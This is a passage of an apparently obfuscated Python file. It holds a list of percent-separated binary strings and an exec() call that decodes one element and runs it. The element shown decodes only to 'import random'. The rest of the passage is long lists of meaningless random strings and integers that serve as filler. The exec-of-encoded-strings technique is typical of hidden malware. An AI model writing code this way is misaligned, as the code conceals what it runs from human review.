"01000011%01100101%01100100%01110100%01100100%01101101%01000100%01001001%01010010%01001001%01001100%01100101%01111010%01101011%01110110%01011010%01000001%01101001%01010110%01011001%01111000%01010010%01010110%01000100%01000100%01101100%01100001%01010000%01110010%01101111%01001100%01111001%01110010%01010101%01101011%01010011%01101010%01000111%01111001%01001100%01101000%01010110%01000110%01010111%01111000%01000011%01001111%01001010%01010101%01111001%01010100%01110110%01001100%01001011%01101110%01000011%01100101%01101001%01000110%01100110%01101001%01100110%01010000%01000100%01000101%01001010%01010101%01110001%01001000%01000010%01000100%01010110%01010000%01011000%01100011%01110101%01101011%01000100%01100010%01011001%01110001%01101010%01000001%01001000%01110001%01100111%01010100%01001111%01101100%01011001%01010011%01100011%01000110%01110001%01101000%01001100%01000110%01100010%01101001%01011000", "01110100%01010011%01001110%01001111%01010011%01001011%01001010%01100001%01110101%01010010%01111001%01010111%01010011%01100101%01111010%01010110%01011000%01100110%01000011%01111001%01101011%01110011%01011010%01000001%01010010%01011000%01110110%01101101%01011000%01010001%01110100%01000010%01001001%01111001%01010101%01111001%01001100%01000100%01010011%01111001%01101101%01100001%01100111%01100110%01010010%01010110%01001101%01100101%01000110%01010011%01101110%01101110%01100111%01100001%01011001%01010001%01101101%01101101%01101011%01100110%01000001%01101010%01100011%01010011%01100001%01101100%01101101%01100001%01101110%01010100%01000111%01010000%01010010%01001100%01111000%01110011%01011010%01111001%01000001%01101010%01010000%01101000%01010000%01001111%01101110%01101001%01000111%01100010%01001011%01001001%01010110%01010100%01001101%01001101%01101010%01000101%01001111%01010001%01110000%01010111", "01101110%01010000%01101001%01001000%01110110%01000010%01011000%01011010%01011000%01100101%01001001%01101011%01011001%01100110%01000101%01100100%01000001%01001001%01100001%01101100%01100001%01100011%01000010%01010100%01110001%01100110%01001011%01101000%01000001%01101011%01001010%01010110%01011000%01110010%01101010%01001111%01101000%01110101%01110110%01100010%01010100%01100111%01110001%01110000%01110011%01010111%01001101%01001101%01101001%01011001%01101001%01110011%01010011%01100111%01010110%01001111%01011001%01001001%01100110%01100011%01011010%01010100%01110110%01010110%01011000%01000110%01001011%01011001%01011000%01101100%01101000%01010110%01000010%01010101%01001010%01101100%01010000%01101001%01000110%01010111%01100001%01001101%01010110%01100010%01001110%01100111%01101001%01101011%01111000%01110110%01000011%01110010%01101110%01011010%01000001%01111000%01111000%01110100%01101000%01100001", "01001101%01000111%01111010%01101101%01101110%01001111%01100011%01010010%01100101%01011010%01101011%01010100%01110110%01110011%01100100%01001111%01110010%01010001%01110010%01010010%01010111%01110101%01010100%01111000%01011001%01011010%01000011%01100100%01111001%01011010%01000011%01100011%01001111%01100010%01001000%01011001%01001101%01111010%01110000%01011010%01110101%01011000%01101100%01110110%01100001%01100010%01001110%01000010%01010111%01001011%01110011%01110110%01000111%01100010%01101111%01100010%01100001%01101100%01001110%01101010%01000111%01101011%01100101%01101001%01110011%01100110%01010000%01001001%01110100%01010010%01110010%01010000%01100010%01010001%01100100%01100011%01110010%01001111%01101011%01101011%01110001%01110101%01101011%01111010%01110110%01010100%01010111%01110011%01110001%01100111%01110000%01100100%01010101%01001011%01011000%01101001%01010000%01101010%01110010%01100110", "01110101%01111000%01011010%01010010%01110100%01001011%01101100%01010111%01010101%01011000%01000001%01001110%01001111%01111001%01110010%01010011%01101100%01001010%01010010%01001111%01100011%01110011%01001100%01101100%01010100%01111000%01101011%01001001%01110110%01101011%01111010%01101101%01100110%01011001%01100110%01010011%01101001%01111000%01011000%01110110%01110101%01010110%01010000%01101110%01110100%01101011%01110011%01001110%01100010%01000110%01101100%01111000%01010011%01110100%01000111%01001110%01100010%01000111%01101011%01110001%01101001%01001011%01011010%01100110%01101000%01110100%01010011%01001000%01010101%01110001%01100001%01001001%01101111%01010111%01001101%01110110%01000100%01100011%01100011%01011001%01001000%01000110%01010101%01101111%01000011%01101100%01010000%01110000%01111001%01001000%01100010%01000011%01100111%01101110%01110001%01110000%01110101%01001000%01110100%01101001", "01000111%01010101%01011001%01000010%01111010%01110010%01100100%01101101%01010011%01010001%01110010%01110000%01110101%01101111%01011010%01110100%01010101%01111010%01110011%01100001%01001001%01110101%01101111%01101001%01000101%01011001%01010100%01000101%01001110%01000001%01000010%01010111%01010100%01100101%01110101%01001101%01110101%01100001%01000100%01011010%01010111%01000100%01011001%01110010%01110100%01010011%01010101%01110010%01010000%01000111%01110000%01001111%01001111%01010101%01101011%01001000%01011001%01110001%01000110%01000110%01111001%01000111%01100011%01000101%01011001%01001101%01000110%01110001%01101010%01011010%01100111%01101110%01100001%01000001%01100001%01110100%01000100%01110000%01000001%01100100%01000011%01110101%01101010%01010110%01010011%01010111%01001110%01101010%01000010%01101101%01001100%01100110%01111001%01011010%01010011%01010010%01110100%01100101%01111000%01101010", "01101111%01110110%01101101%01000111%01101011%01101001%01010101%01001101%01000010%01011010%01001010%01010010%01000010%01001111%01101001%01001100%01000110%01101111%01110010%01000010%01010001%01000010%01010010%01101110%01100110%01111010%01001000%01000100%01000101%01001100%01111000%01101000%01100100%01001100%01001000%01100111%01111001%01010101%01000010%01100010%01101010%01101111%01010110%01111010%01011000%01001111%01101110%01001100%01101010%01010101%01111001%01000101%01001000%01101101%01101111%01101010%01101000%01001100%01001101%01101000%01010100%01001100%01101010%01011010%01100100%01011010%01100110%01110010%01000011%01000011%01001101%01100101%01010101%01000110%01110011%01010101%01100111%01010110%01001111%01010010%01111000%01111010%01001111%01000110%01101111%01001101%01000110%01010101%01010111%01101011%01100111%01101011%01010000%01100110%01010111%01010100%01011001%01001111%01001101%01000001", "01110010%01110100%01011001%01010100%01010001%01000110%01011001%01010001%01001000%01000100%01100110%01010111%01100111%01110000%01110011%01110101%01010100%01000110%01110011%01101111%01001110%01001010%01010101%01110011%01111001%01110010%01111001%01100100%01110001%01010010%01101110%01011000%01110100%01111000%01101100%01001000%01110101%01001100%01100011%01010001%01100011%01010001%01001101%01000111%01001100%01101100%01101110%01100011%01100100%01100010%01101110%01000101%01001100%01001010%01001011%01110101%01110000%01110100%01101011%01001111%01101011%01111000%01001100%01010011%01001000%01001110%01101011%01110101%01101110%01010100%01010011%01111010%01001101%01111001%01110100%01101110%01101010%01100001%01101111%01000011%01010110%01110101%01110100%01010100%01111010%01000001%01001010%01001010%01101000%01001010%01000111%01110100%01101111%01001110%01110010%01100110%01000110%01101110%01001111%01001111", "01101110%01111001%01001000%01100100%01011000%01101111%01000111%01110000%01101000%01010100%01010110%01011001%01100101%01101001%01010000%01011000%01001000%01101010%01000001%01001100%01110010%01001011%01010001%01001101%01100001%01111001%01010000%01000011%01111001%01001000%01001000%01010001%01010000%01000110%01010100%01100111%01101110%01000010%01000101%01001101%01110000%01101110%01001011%01001110%01101111%01010001%01110000%01111001%01100011%01100010%01001110%01100101%01101110%01111000%01110101%01010111%01101010%01010000%01110101%01110011%01010001%01000011%01101101%01101111%01110010%01000100%01001000%01000001%01100100%01001011%01010011%01010110%01011001%01010111%01001111%01110000%01010101%01101110%01000101%01101001%01000101%01100010%01111010%01000011%01100011%01111000%01000101%01100111%01001001%01000111%01011010%01010010%01110000%01100011%01011010%01101000%01110101%01000101%01110100%01001010", "01111001%01000110%01010101%01001001%01100101%01101011%01000100%01001100%01010011%01111001%01110011%01000111%01100010%01010100%01100010%01110010%01000101%01010000%01000110%01001110%01110110%01010100%01000110%01101010%01001110%01111000%01001011%01101100%01110110%01010000%01010100%01101010%01110110%01000100%01110011%01110011%01101101%01000101%01010010%01011000%01010101%01101010%01100110%01011000%01110100%01011000%01101000%01011010%01001010%01001011%01101111%01010111%01010001%01101110%01010001%01010101%01110100%01100001%01100111%01101100%01101010%01000001%01110110%01110100%01100010%01011010%01011010%01001011%01100111%01111001%01100001%01100010%01010101%01100110%01010000%01100010%01100111%01010010%01110000%01011010%01001000%01011000%01011000%01100100%01100010%01101001%01100010%01011010%01110101%01110101%01101001%01011010%01110110%01001000%01110010%01000001%01101010%01100011%01111000%01110001", "01101001%01101101%01110000%01101111%01110010%01110100%00100000%01110010%01100001%01101110%01100100%01101111%01101101"] 40 | exec(''.join(chr(int(w3BMOsdODFcIUXdpCGdyxh[0x00013].replace('%', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(w3BMOsdODFcIUXdpCGdyxh[0x00013].replace('%', ''))//(0x0004 + 0x0004)))) 41 | 42 | def w3vFezgGTfLMvjuCBuOMWl(): 43 | w3pNJROSpYhACMKRJFGhpY = ["XbsoEyFSXdPbLHHedUWQXIeyfbHmsuceglohKHvnBRVWltqyfRgoKUFOBXoIjRgJmXkCbRrgfPvFbCQiZBLmEEgNeXvizqyBpERO", "jovXfFIjevJuJaGZUfypPxMqraiapDGLMmqgYTJjgNnLCRnMhWrFzCOrqQnjELncYJNDhGkPERFuzTcvyGVIZDmJthhBXcEjJsZm", 751750547, 557236057, 807118919, "bZqgdRGBLpkafnVMvdsuWcmJQTqqCIaEiOFATjaulFuzvPuLmczqZVRclTniYlSxRhBRyVOgHJUvhifVNVCGtuAuObVNXZNmXRFz", 93422491, "gIPkiySYXMyoqNKsLrTMbWcaYjLEShPWABDMUnDOhdoYQjhmOYuXeHnRqffrWvxLhIijqHxPKOZfthESjyufXxOecrgWbLjhfEXi", "BLRaBURiLSoaDgTBpBxtnvUYvccfZZgYErlupGnxbKPtbcZRJkFXNWTmfzDvjkxiubtYvqoTZOMBocEESuQInnvKqxrZFzRYTCxP", "SutrbTTdJIQyWPchWfmKYSKPmdGQjgntrbVMlOIBSUZoAJOlfOYpOWXAeNQYBcOcYTOoMDAqJIgoFoyCClvnkPIcTBcezXFocNUo", "ZzqAjtSFPGBIXjDAYeXRuqrAEeBouJjqCnkqmOthxYldoGgjQuOfCVbhvarpPOPtbGzsOhaUDaVgIblNbhrzZBvOclizCuLendPY", 947283682, "jZKTXpTbJBfbrUKYFtFhWEJgidWvHFhAtzDzBVryBFvtWTtJVyfxRjpMkBzZxqgbhEVBfRkoAkSeNLPOItpFahGYiuuxDICrfIvL", 917491605, "zdIyaviEGgtUnEkFylYDujWdWLlTFhyuPTusEAjhSXqKfhNuPSVTEIBBWtxgCSlMGcjTzRmpRztOZcSbxhGGBJxvOWWAbKrQbCtP", "aZgngVQyRrnYuHQJeZhWhSlptnXmVIerajcdmJOugtQETuYFFTeUJhmhJMgekNEQpQoHelQXGeOMWnezVyhAkimTCNyXiHiEZxui", 115393929, "OtCokrJORhmzyPsTPCBgNKUeyoXhqslWuuXAlSLQFsGEgBxsGDToxEoDApqLjygQXvgNcXPOpvXqEvEitHPBysFCsXRYrspcfSiW", "cIcEfQLQAajxklmJERUVlxetPvXokylrLFcZAzvsoSPSvnHulAJdKyAxHOKbAQeRnZHUCMRboeESWsJRxlOahuXmPtVMkZnPFYTT", 337630052, "VZUaNMYsBuIHAIeSggzIHhrxfpyYbgQWNYlyXqrqrFCABMhYDOhyUSQLHStzVRcDsnBAniGKAmeHiVFjKDmRfeeJCrgNxCTCAZTy", "nlcXXGYKqJOtTHRZIgzJkrNgsPGSnkilkoOVMqTcQgDmFzcmxQsrnURJgDAtpVVUlIFNgBpqfyNgudFVGUpoidgEPSCLSGRhIQxf", "TiNnGINkGMErkVRQeUpaWOfNltpFrxjLdOOyXSEbCqoukHyqTouYLjrUjfnRvksfNSxXmEdVORqrAkyaYqdBZicofIDXIzdHyzbn", "pWjAxAKZoTJQaTAamoACgFSlTRsgBVKdJWbfyAFVxRpkXPsihlmYypqeWJsHiLevANkqaIzunTPfVvbeXoqhrUZLvHFLPIKxnedD", "TjiUOaBSBZUHrJKiYyPZLkZbjCpIgOOyMmxFzkPjJFHSqTPpOQtPSUufRPJyjUkOdtiNryefvOhPVGqJQhjKuIOyvDPJGcIvBsyc", "GhzvPbFGMexHFiDEILCrQyVWcTUDYsSRpkGZvWMfpxhXytLxCKTkIBWoblCIrJWFmpGOjbNIXcSREbSWPvyPNxFddIcKyquTTKPV", 349853635, "YDTOudQbhxxtdioYPRPfJbKUbcKteAkDmiEbDiybddZBHjNIrKvmLusVsqBAjYFjsabGezIRqUgMqIJvqVjaeaeIfcIqZWDJCadM", 831730403, 30528475, "rgkfvDdLlxtSLYRFeoIifCaarFpWuBmzJZYjcCGNzvvrQUUTDYACxWberSMlNWFcWtPqSCDiNMgoTqvmZNgCemQzIZVOUPfLhNmH", 67590616, "CEbGSkiTsDpodYJCOEPCvnxfSOGbnlynWyQClnYytIxCthVvpLTHBPpNQunGGlLARFOLgBxsARRhtReXbTPnMYDrANCaOWKEsVdb", 959257968, 631399947, "LcVivdvYjMIfTRSnMZSaEVVDqeCHSurhvMxKVYFHAosuIxNYclRMmPWfoqXGuAIOfeETsXPVZvTEkFeqNChGExgovFnavmRmOJhL", 698333297, 482943265, 370770069, "MabLAqLyWKVCbLvEQUBmCsrVVUhRHCFNctPZYNkWlBAkvFMrZPrEJcyMEUgqUTLRjTxuFcxBjkxkoDMLaGcMXTyflLbSHataPTkO", 467045041, "JKTPJiUhkxjLZxzySbdqXQekUsFIygQUbqCBhtJGFWHVyImuZqItWCJOxnlEadRLHTxapBardvOFOEDigqDWyOfvjdoXTnAajnxC", "fHdFADsZSxeNlSSPbgoNftrAJqsJMNrVvDiIkWTPorLbrxlOvPGHpdyIDLOjcZJdLhhdSSGVzjQMHgCBXFrmlZZYjlObrogjHrqg", "COQVNABCcmdcRShstKNaXPZQTvnQkGdseyHckSoSkztrmZINHKYXpJcWNjqTIVIBllrXUEYeqjFJVyANoeKbUMdSJhNAyshNqKiR", "ZxTamCutnWhgOCkNGbVuCZSBbtVMCpikoQPacvYcFauJBAzOVlIgHppuXlanLTQCYPrWrUGQQclQpbltDYTnQYlcjgYeRYBVLxjZ", 726743606, "UOvyJTrOCRsZuDIoOnjBGanKRiiJiWRJdtJeSEWpUttJzTaLGVhxXGEojqVEDydnYtGCPzuRlInPtaAcNUSaqLQcRXCdXkdFNudp", "JDMjycvDnEbomXEWqkbvtLaKCkDZlvInPHijRurbgcNmLJHVjKlztKyRYrNOxRQlYWYHiODHOIcUreYMOFHICIusIRjgdtkrODRt", "ImACZijzycJuEvtHeJXjnRGPIbtJBBuskROZBKCUVNGPQtIuBvLDTVngBfFBaDLmguFVgKSnopeJvMfCDstAaWHbhTeuYcHbIrpQ", "fMOrzDNgZrWWJCVPvpIkOfNVMklYhWAnudchaXZlkziibrNlDuxCNLHYuRINGXZQCLxLoBYLBaifJqUrqAuQgQshusjdknIWcCmT"] 44 | w3XhLOnzJQIkDbPpByoFBK = [447993763, "GqFnzLFzRQuDDIDFSMIrkGmFJQXltxHXMNslfgkNUWWLuubPhoMqOIimcXobauirLZKfKnIatqddkkHhENUyIpHxCFqgkKCuuoPz", "gOyeimObskXugaCODMAiSYAfSSjRVJOiBoxQSFabOBxnesdnugFurdekKQvqKQilCPNSGcbItbjpMrukAgfPSNVPckasIaJkuVsI", "RkjdtTrqxULeZDJkcrBHSTjdCFisJnOniDsMEmrvFrjbAytCGJmoJhoJEayboIfYmrxDcpnnHTPpJNxFXWhzcrodQNsTVpkjuerG", "QZrdQsCXnhzFVbUzegFrzYWZmeZELhNAWGmfZsZrvxyRAXvtTviQctUEHhMbXTAEnWQVjgCftXqtkdxkjcCQgfpaVotocrDuZgtj", 983082465, "vmnDHaKdROfUBeLeVlvZsMypotUCQxyXEFBlQtMektUsEeMqmdfBhqKCICFSZWtXhokNJGhLduzjnyQmRfEUliOLklRYucetExof", "sTTlegUSthzZzRnMuIgWnfgQGBCbKxnouXHRTsKpFfDxceFEPMCMSUBQJyvtSFRMPPVYWXqcKhMBhAtWZsZgpTsQIFLAAVamfRvD", 847380793, 778255242, "aVEvhNWTATmexSqYOUSgGIyZrPzCovkjcWHafLEpNnbWvFxIEDptAQpaBiUWLMPiZfsWYNZcCzMsfjJvdhdDtqlHTNSmSPFjLYiM", "CSVETLtBdXTQPgxYMQHPRkXFrWnEmKxDbfkHYqyRFRaiuMnVAFDtaHahlnfGhyEuOVxxMjLmzcaTghccsiEEAfpUSRbuVQLYsSkX", "LrTmqgOVOafayCxbugBWBdQybbHrsxPhRvdmpbQzxBubtmTHbauuftmARlihBMZuTQRJVlyrUWVcEdoTpWjPzRbPYLUvRgYZYsMU", "TcpHaKhEJSrLBNBzQbDlWhFJYLKuvMfcLMZaroDeiPrDMlMGyIqBfXIzhobvAAjxrvRukIAEpWOOHAoqYUVtcYiKzAgjlXMxKegU", "jxegEtcAKWnkQJHrHDBvZkaGYBROnvYhcytLIljjiPdDidkPLLnXmdRAuYBJWkHyLWhoZqNIEghisqzZSLNRqWckogzRuMJaOsLz", 101253929, 373394177, "oTfAACnGTYYrAqFvLeAMkjKbLPUgftRRUXjVOYRGdgeEpYjbzCvjfzTPJEVQBiajxeLMTMhbmNNKnuJTMLYbUWcyufNWKQNyVRFU", 819554182, "glmyfAQIstjnCQBBotOQROxrCOPQhqjzxMzeQtkBiQuNsehyAIlgglNUCnWWEkAWLLUFpVJNWxpTYoGiFjtpMxAQTPqcnOWCDRBW", "nOpogaeyXDITDRyqreqjMVRfgVTYqEmMFttdkUiFARqoTtGMqoqUqQXcmbysVhnveEsSyQFgoXezUQjazDzIaBKAnNTKneeftWaJ", "ItmgZBiAfQtemCuQLPUbniaumXeZZZdDecuPDDDqHxHioXrfdELMJBZEXCnobyoTCQsYifrMRFMGYJuFtpEeAfamJsTvXjRqDiyt", "hFSYXEminRAbTIunnmsbxsNIHjylDhfqalgognqHmdgBCtmuXhZVoIrtBOkatNtrTvVkNllGITzzinhCoibbXKUDupJLpCmLDEuf", "YsJUOrNCgDPBGmCHbGMQksNHZVxCmPYXWyTQBxMZzkDiUHcmUQRotrNipZAmBLDQvXgejWhnhAqxXSPqskFYlakgjiLAGSJCiFMN", 642985863, "GmtVPVfepUVtnUVBxWemyGWSuLGpcmBPlqpTYficUVxfOMMsiIDZxFPblvKVBeXVOJvkciGDNXeBEgRcrRPzsSVPkBCqrkensill", 8784537, "vxMuGHxJvSfiThFZEdtDLYBlhDXjLGaMUELexBnQORnclEJSqljOASJhjPQRxVaVnqPdetWVkYFWgpGLmvPcyGJzQcvZOPtPYXlO", 659369475, "fdutRxdbzZDLDduIeOFdoDecqJWXMMbIHOHIWsoezTHFteskOgmEVukJkNZXtpigLPRnxLQusBkOECGCtqFvGZYCccEciAGaDWmk", "zVbmJQapJnnVHNiZQLSGNCRRZGHPQZaMHHRjqSNotLiaOheYeNatIeUZFWqdMdKDilcPVHszTruMQGhEWaypEXoZcKHTDEJuvaaf", 163138391, "fxnRCoTdYMVDUePoUaoVGdkfJDqrUnitNFuKxEbOGVDLvxUoWmDXeyZsrxRiWfYUSAVuEHCfVPdWFQgeXgqeWgnVGHdNLzDatyLM", 296199257, "FTMpunMerotduDGYlRKimvklORTpkaVMPhJLCuOCmSfRloYhjBPWQZSTCrpUILQgAoJzcCDfExWDVGlDBSvcTGSGbmSLijVMEmUY", "jSkQoEyPTfSGoyKNsOWIINGjTdnMhQsTKjkKUCLzehJGuBnueXVhzmVRrOkNqDAHmuSWfdBraVnDbzsBImWuFMxHJBxWBIdRiKZe", "AkmDyfcKlhTmloCpaWrPvdFuWdEzOzXKEPDulXYkNPSgvunbbDbnjFitGsJKuqRHrFxLWgDDArkCUbAkIQBlikmEVEJNXkvlcopy", 400829608, "bOFnQgSjGQFZLPBabArWBzbKRtbDEGrcFIEeSdrsKRzTajoUqHHhfUagTZaIIrnRGcSgNxJFmfuVygJymhtZOvKjGjfnOrzNETzb", "rixzUuHxfBISYxdamBdkXRUGXoUsMVIngPvgvPUBNaeJQLfKFxGdhEARmkfFIqyEsXcVqxQczzOpcEtOORFvdeEFLXOliiYnnDjl", "sROsHZcTxvWPMfdbivAqNUyARJhmrGfuGiUqSAcPMWLVlrDDEEHOPpVpSeCMxXvrotmzNTzkdaOMgEyxsFZYVnXpXXFnfHqIWoPN", "kbxCCypXqWrjdWUKiptPZbNUuVUcdtRnbNQzWCHdTAviRlzIKcWFBWlROltcHIqOuYgoaorgWlyMDZbKXFqmIcvdVusmnsbLvFqH", "MJKKZXUujFYemPBFieJOhmlBMMpNIsPfoIqYYKLaeRLfJsHfKkHxusuoqZXJZAsXxEEKHzYUkZIQUoaxKCmIsLVjVoNgoDfKQLCJ", "chNtktgrAprZBDMDiJoLyZitPglAiABqxJtgWfIsxJtDspHvKKRYtfGKGpJFnRQeqpEoQNvIfrAnnRnThLyBKNXbVTmVRnMuRXvN", "dWtrqRJhDhrYZEVgjCGtrcfZkGLEAOLHjvhvvQsqrkZvvXDPSWpnKrYeAbVMibYXtzuNFsjLyWbQRFlRqDdmMYTUrUPMSgxzbIgb", "HadEHCmJVOrsLRFLaIfudXPWOhPTKKCUJIIbetvKegBpHzHsMIXsZPdhXmBzKZCtCaZxssKkGAZHTZvSTWnzIUOSMsMcGQpbHyXB", 239196296, "mpTAZcfErUREITDNzjoQqjzXhmDgchQepqNQfLZFCQTIxKJhnJKyUQMTetYtpxaZeGdSmAoiJhGiHiLujrsUKYWnlODHzEZDGABb", 40820934, "UEYgGSmfBiUzvJFoSlnTeFHegFBVZGeFjgzsGBfRDBDmjUbHaDrRsBkfFYJavXBOxUJfobDhoOtJlKVndrXAkoketNJylfsrCYlS"] 45 | w3zPzVuIypXRDJuUBSazFp = [137992496, 400736412, "RgsnJnfMeibCQaoexQmatanJnDUNVXjbsIUNXDJJIaFElCoDadPDkbgraYdypZZBGcllYusbBkiNEuoFHMvhUNOnxSWXqdzNFVeg", "VyzvPiGxCExcuplFYSDiZXYUIzNcGCLZXLZSrvuRfKsKJBPgAPETtyFklgAgTPCHIGPmBKysehGIOmOtMjWDcqSTZPerxyYzmNBt", 870989011, 959414576, 921592940, "HyUZlMsSmUKDkRjdGfWhJbGHkYyTPMlTjjNZEjjMPVptZGKdQcfjMOzhMJVijyhSruPyKZhWWKFjmFhJpknzagIznJXmuHkTpnJL", "QLOHeDHtiGCUhmvuBUNUuXLElbSCBbyBcUXQevbFQGMbaVophhfkcprISeWcCeOPacaZgSsAuvuiSNqKlzxnUNkfkikURsAmoZjB", "nJWFNFtaUmMGorPQRjYGjLXHQGpvpyVUzHjFLusciSqFMlJoFNeXgKYMeiTTYRrLDxqjRsCDHTdRCRKkHOGGyfVIcirgfUIUUPOR", "YyFkjCMPSyxnUPcznsfGVahfJozGoooMJzfCjFXmTFndSTmkYtxODCbYINvjcYlOUJKpvkmPFsjEpzEqHEMUPSUTdgtlzPnCyWFA", "mvejjeoLZXzUoPqYhdYyYbIvckRiyciqPJEaMBUFtiRllEeolBABuucvsycMtIspCiIFhmOZjyMagRZtdzgfuIouNRbQHonkxKfN", "bKgOxPQWYXcGvBFzcoxbymuiWFVKUVZpRTvPekPXkyqThfsyapSuejBpftHXucoYbfKYkgzyYyLjooIELfCtxWaxoMpHxRXDaqFh", 84504401, "xysMQTGGUNMHTfhGXJhlRGnOuYsuxQtjJFrKQpBHQYnlGshAokTXZWSEVcRSOyyrVjTJWCZQVSWCLArKxQEyrhvNyExyJsqLEkDT", 996686206, "ThPCmEoQdHYoCijxpGNzWmnVGszhfaGKfeTcZcGoxgsDvCeuYFqBTubzvtGSBFXfPDRtsMHiUxaWMqVEIcNuOtPYexdULEkVIykG", 227887010, 597600884, "NuAFmeXhWBCmAqCVBDpYvjyOWOpkpDtWEgWcyaubRJnvhAmAFJWLezaBFrfgnPdaGDIIiIiQrKKJcseZIPRvLrnWkEDYifYJXSjA", "SExTBLHOdqEalLBOUhoBnsVZQiPynUmQuYYBUdsxmXoNCOMuAXRrMDnaCAZzFSCfHXvsUbPNJySImOGRAJWTEnbWYFMJccLJqNaV", 536648209, "nhSfeIqnraCqrDyQnJXQjfRJaCcGQrHGRxWusbuspkRHRTgRXDpOhTCZfgRtQyRdyQSonYjAtIdorBHqkfrZjFxtOeGMdCBZhANH", "ZdJmcizjbqcMoAHyrUoyyXyxRiBpIXQnBYbodkzDxrkYykfLfPRatdmuJUJhvdgAWXUKCeouxPzREkHOZlVdnUnSNHIzkGLzVTgQ", 264131956, "xSeuBMkhiNuIpyjjyKKjJvNrYmEBIRvsEqCUKSQuZERaoYaodTssalmQMBdKOijrCmngPFFrhbLMpAyVuAczaKTuHskbmfUrEZlH", "ODLJuKxDPGkdYvttfODrOrZdChIKqHIHFLYzfIcJgNXOtUPTIrWWSzGHQMUWgGGkEeqiCaxsfNOQtxgDhhJeBCrHDdfZqWgTxIgm", 592944525, "oLQIMkyvxlpQnRUZeWhBaejWBrZECgNArFzAqdgzaLVfokibFZDnNpmqrtJyRfuacGMgUJQyxiQXgjqiaqSvWkIKZoqsMKgcmGDy", "dPzKLJJSkVbjbepKtLvVuMaVfeOdBDVAJrHhmlcdSGnbUJgHYySaYiRxrksczXfXJRjjKLWngfOSJxIPdaOBBeWBGgDIHOQtBtcs", "QuNhcmWYYuaxoVeJdhpirlVKqczPtyEmyUGbtWoWkSAAOOjdQsflJnseTHZnIZDkoMaZUKNElaMvJNPHJoQsSPnlGOIjILImbSJO", 760390018, "gunDLnzfamgAUAzZeSazVVKPGpRPlYJPKGuzQAuTpmTtKspOUBzgKLKQdMhVlOmokYVnbTEFgICYkEqFpOjJPogRRcCpRguHBzFS", 12952409, 767561590, "gTvIAVvCcSIJPohbLWyHacEWnprjDaixHjoGCiFdlMhNaNgnIqWsPemNQYvsQKeHryqNsADqeSrfWmzzqanQDjepHdYNATEtMLMP", "COLZukCSsReUjsaDNUYXXRiAhKXeKzSarTbUzBZAcsmQDaAfpdLXTYoEdRgYGeSyMlSxUZZHQVCDvFdFWnLXSMmgIOXnustcZzvF", "RDKHhPJUlEPchofgGLUmkQoZMIaMDGhFvpRPfidsVhrzyajIUbkJlBeWBMicUqPxnHgjYEvpmxIMtiFSSGnypVjqIeMWOWruoxcJ", 682151487, 731738190, 921137614, 929067242, 957089807, 289291032, 236420187, "BrzyUFsHUfgdakRnWQpRTpgljsOZrmtUYexkqxrOUqUDzpoCmYEJQTWBFeECTzEdhOUIYumSzFUAntUdTDlNfCPbBgeAaYJLdVpz", "ulhjmXbdbYQvsHzrbXxEggMGehJUCoOLYdSiuPhdbVvHYsvTaQjXmXAjYBeSzAjGyrqgcktncjeltbHntfbtntrutEAnfYopyBUy", 746023538, "hNLPlMShePkRATpeUROmXbyllrCKGRNXMTuSrmiIVtPDnlomnXWaMupFrqEWPNmYHNaFOBmKCUPKQOBDCYmPsjpFHAbiQqTDFcju", 584730972] 46 | w3MBemSGHaCWuxaNfszIEF = ["omLobKPTtaJZJtEKYoJZTAerkhgdihNIaTtQgiAsYdKJEyFSdxMzOPHBrssNRtEFFXLkTRDMRUoAqvYslyQNEyaYDFpEasJFtzTP", "SWmNxhNldFeLmHhnPZCoyHJFWzBHYJZCYEVxUtRDkfxQakakGGMfRKSYcZBQRcEXUbVcAZYzvBpvcEUjETrvijDXJyfsgSfeEkrP", 307966632, "ufexLtKoQLHnfLcXpZzGDuWIOiBkeHBdqPBVqVGsbuVJOkTpnMiSGZuMZNiGCThpJGocyMUcVsmoaMjJzVNghsjDTNJtEuArqhmr", "IotJateYUpRcJmlQUQuUoQEgVfeMxGQUdEeeeoepeooXyCbhLvukWCJBzqdCkaEQWSxWBqBfmfNIzFcOYevvJvNLqJenzSEVhRmT", "HgrGkSXnYzRmuqBiiVRQxZnqcKxhFmzGXQvXkRhIHkCkgvahzdPJBEcUSbqGyMCYxAbUPUoWTthGuhqlbUoCBYNKWuYIgnGyWllB", 975342798, 750526152, "aexUZENVhcKidPgSmHZiSQksBKndUdjZUrtxNyihcmcQucoKCYIGlXOCZBgjpUQXRgxPbuqAdjxsaSXRlMJVvLPXmQTDPCMtZOZG", "cqBUtdrQNVkHTndIpReTWQZOFBqGVTUvTAXLGophcxHuMbfrnyQXOHGESvDWPTqZjznGCFqvSkyvKFKxxEgFtyzAFiktbtmDnRuu", "VXlueukQtbeudaOMrHNRmTVttDYOKZDycoDxLOtUKerSEMAVPpaYjVPeFgPzOCvvvotaNOCRbXpFHlgrKtVMqPxcWkAkCeNHiypz", 689073561, "dICzzbQZzxhfjIcHGirZXKXzxoGLLOjtqsAoNshoCnmnhafYAXrjpYVCZibXIlGGNGtWGUtfKWWAPvLyQSCgmXuqBuQTZVjoePZB", 189614570, "UrDBfDSoyDWxZXxjYMJxFhcmsnQinFSQaIPhpncPWmuvNbTflEhIBFxGSfSFloolEEfLAtJLOQBOLXXktgRFGqPLmuCbaFriFKBg", "PRnCNPdDLPaCVveUBkasliJVyfdsNtPGCFZrAxEBPZgamnmlHXBvpoVkvGuXgGqObYvchckTpicjcGxqFDRnZCfQPzAmNYAvrbkH", "EuDxInuOhkbqchZhKTaqNOUgKCyUtmZZyBlhzBmDKPOxALJyYyEUakNLyFfnNnKMertdGubPmHzmNyAZGtfKKZBxtrIsXEpyzTTM", "kyNlmtdERYVJtGxLAAICiJLXdJNntEXmYNEWqAGRYADgErWnCOhzkxjtzNaQJqAJQMAthYQddmIgSPXaJEyeWzOiUtNLIjeAzxpk", 466452196, "nbdXEDikmbUATRCNsBCoxdTCoiMaavEdVsVRbuSIMioxfxKcvHNIqItheIuVNLlflnqAHIoissbKIAMRBYPNJoexuBrIFRaaMbkh", "zZinXArNyTvmeAMoGSfvQaSVMIEeLYCmKbQofLGimCszjeGgSyeyQlJvotzZXLMUIuouNnUziDRFjApjNvfLfhTQqlNDjShPscnN", "tHVkEkTScCPYPriYxZxdEHRWTSaYORCrrQYyIbcuvCXCCoVRQQqJVyDCxZXtLzCVavLUlZtlPveLRYBjPbviSVmWEKdjRvGSMtho", 910556311, "UnnXYTvSHFqfutDuUtZWRNgBOAILzfPRxBiQrNoUkBxXCtFfsIjIcUigZkxqRuMoSPKYVMQhVnNIGuPMcdoqALnIkqUraHbfRaBp", 